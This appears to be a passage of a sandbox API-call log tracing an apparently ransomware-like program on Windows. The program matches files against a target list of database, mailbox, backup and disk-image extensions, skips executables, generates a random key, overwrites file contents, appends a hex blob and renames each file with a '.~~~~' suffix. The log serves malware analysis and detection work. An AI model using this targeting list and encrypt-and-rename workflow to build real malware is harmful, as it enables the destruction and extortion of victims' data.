	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.520] lstrlenW (lpString=".edb") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.521] lstrlenW (lpString=".PST") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.521] lstrlenW (lpString=".dbf") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.521] lstrlenW (lpString=".SQL") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.521] lstrlenW (lpString=".pst") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.521] lstrlenW (lpString=".dbv") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.521] lstrlenW (lpString=".SDF") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.521] lstrlenW (lpString=".dtxs") returned 5
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.521] lstrlenW (lpString=".db3") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.521] lstrlenW (lpString=".OST") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.521] lstrlenW (lpString=".dbx") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.521] lstrlenW (lpString=".DB3") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.521] lstrlenW (lpString=".DAT") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.521] lstrlenW (lpString=".VHDX") returned 5
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.521] lstrlenW (lpString=".ndf") returned 4
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.521] lstrlenW (lpString=".DB") returned 3
	[0081.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.521] lstrlenW (lpString=".sql") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.522] lstrlenW (lpString=".MYD") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.522] lstrlenW (lpString=".DBT") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.522] lstrlenW (lpString=".ACCDB") returned 6
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.522] lstrlenW (lpString=".fdb") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.522] lstrlenW (lpString=".bak") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.522] lstrlenW (lpString=".myd") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.522] lstrlenW (lpString=".DTXS") returned 5
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.522] lstrlenW (lpString=".ckp") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.522] lstrlenW (lpString=".dbt") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.522] lstrlenW (lpString=".db") returned 3
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.522] lstrlenW (lpString=".TXT") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.522] lstrlenW (lpString=".MDF") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.522] lstrlenW (lpString=".bdb") returned 4
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.522] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.523] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.524] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.524] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.524] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20151394690) returned 1
	[0081.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a71eeb0, dwHighDateTime=0x1d60e1e)) 
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2b8
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2b8 | out: hHeap=0x300000) returned 1
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.524] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.524] GetLastError () returned 0x0
	[0081.525] GetLastError () returned 0x0
	[0081.525] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.525] GetLastError () returned 0x0
	[0081.525] GetLastError () returned 0x0
	[0081.525] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x978, lpOverlapped=0x0) returned 1
	[0081.527] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff688, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.527] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x978, lpOverlapped=0x0) returned 1
	[0081.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.527] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.527] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.527] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.527] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.527] CloseHandle (hObject=0x120) returned 1
	[0081.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0081.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.~~~~")) returned 1
	[0081.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0081.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.528] GetLastError () returned 0x0
	[0081.528] RtlWakeConditionVariable () returned 0x365f70
	[0081.528] GetCurrentThreadId () returned 0x9cc
	[0081.528] GetCurrentThreadId () returned 0x9cc
	[0081.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28010d0 | out: hHeap=0x300000) returned 1
	[0081.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2f0 | out: hHeap=0x300000) returned 1
	[0081.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28010d0
	[0081.528] lstrlenW (lpString=".scr") returned 4
	[0081.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".scr") returned 0x0
	[0081.528] lstrlenW (lpString=".cmd") returned 4
	[0081.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".cmd") returned 0x0
	[0081.528] lstrlenW (lpString=".dll") returned 4
	[0081.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dll") returned 0x0
	[0081.528] lstrlenW (lpString=".bat") returned 4
	[0081.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".bat") returned 0x0
	[0081.529] lstrlenW (lpString=".cpl") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".cpl") returned 0x0
	[0081.529] lstrlenW (lpString=".sys") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".sys") returned 0x0
	[0081.529] lstrlenW (lpString=".msc") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".msc") returned 0x0
	[0081.529] lstrlenW (lpString=".com") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".com") returned 0x0
	[0081.529] lstrlenW (lpString=".lnk") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".lnk") returned 0x0
	[0081.529] lstrlenW (lpString=".msp") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".msp") returned 0x0
	[0081.529] lstrlenW (lpString=".pif") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".pif") returned 0x0
	[0081.529] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.529] lstrlenW (lpString=".sqb") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".sqb") returned 0x0
	[0081.529] lstrlenW (lpString=".ost") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".ost") returned 0x0
	[0081.529] lstrlenW (lpString=".txt") returned 4
	[0081.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".txt") returned 0x0
	[0081.530] lstrlenW (lpString=".mdt") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".mdt") returned 0x0
	[0081.530] lstrlenW (lpString=".BDB") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".BDB") returned 0x0
	[0081.530] lstrlenW (lpString=".eql") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".eql") returned 0x0
	[0081.530] lstrlenW (lpString=".DBF") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DBF") returned 0x0
	[0081.530] lstrlenW (lpString=".EQL") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".EQL") returned 0x0
	[0081.530] lstrlenW (lpString=".FDB") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".FDB") returned 0x0
	[0081.530] lstrlenW (lpString=".EDB") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".EDB") returned 0x0
	[0081.530] lstrlenW (lpString=".DACPAC") returned 7
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0081.530] lstrlenW (lpString=".VHD") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".VHD") returned 0x0
	[0081.530] lstrlenW (lpString=".DBV") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DBV") returned 0x0
	[0081.530] lstrlenW (lpString=".dacpac") returned 7
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dacpac") returned 0x0
	[0081.530] lstrlenW (lpString=".sdf") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".sdf") returned 0x0
	[0081.530] lstrlenW (lpString=".accdb") returned 6
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".accdb") returned 0x0
	[0081.530] lstrlenW (lpString=".DBX") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DBX") returned 0x0
	[0081.530] lstrlenW (lpString=".MDT") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".MDT") returned 0x0
	[0081.530] lstrlenW (lpString=".SQB") returned 4
	[0081.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".SQB") returned 0x0
	[0081.530] lstrlenW (lpString=".vhd") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".vhd") returned 0x0
	[0081.531] lstrlenW (lpString=".bac") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".bac") returned 0x0
	[0081.531] lstrlenW (lpString=".mdf") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".mdf") returned 0x0
	[0081.531] lstrlenW (lpString=".BAK") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".BAK") returned 0x0
	[0081.531] lstrlenW (lpString=".BAC") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".BAC") returned 0x0
	[0081.531] lstrlenW (lpString=".dbs") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dbs") returned 0x0
	[0081.531] lstrlenW (lpString=".vhdx") returned 5
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".vhdx") returned 0x0
	[0081.531] lstrlenW (lpString=".NDF") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".NDF") returned 0x0
	[0081.531] lstrlenW (lpString=".dat") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dat") returned 0x0
	[0081.531] lstrlenW (lpString=".DBS") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DBS") returned 0x0
	[0081.531] lstrlenW (lpString=".CKP") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".CKP") returned 0x0
	[0081.531] lstrlenW (lpString=".edb") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".edb") returned 0x0
	[0081.531] lstrlenW (lpString=".PST") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".PST") returned 0x0
	[0081.531] lstrlenW (lpString=".dbf") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dbf") returned 0x0
	[0081.531] lstrlenW (lpString=".SQL") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".SQL") returned 0x0
	[0081.531] lstrlenW (lpString=".pst") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".pst") returned 0x0
	[0081.531] lstrlenW (lpString=".dbv") returned 4
	[0081.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dbv") returned 0x0
	[0081.532] lstrlenW (lpString=".SDF") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".SDF") returned 0x0
	[0081.532] lstrlenW (lpString=".dtxs") returned 5
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dtxs") returned 0x0
	[0081.532] lstrlenW (lpString=".db3") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".db3") returned 0x0
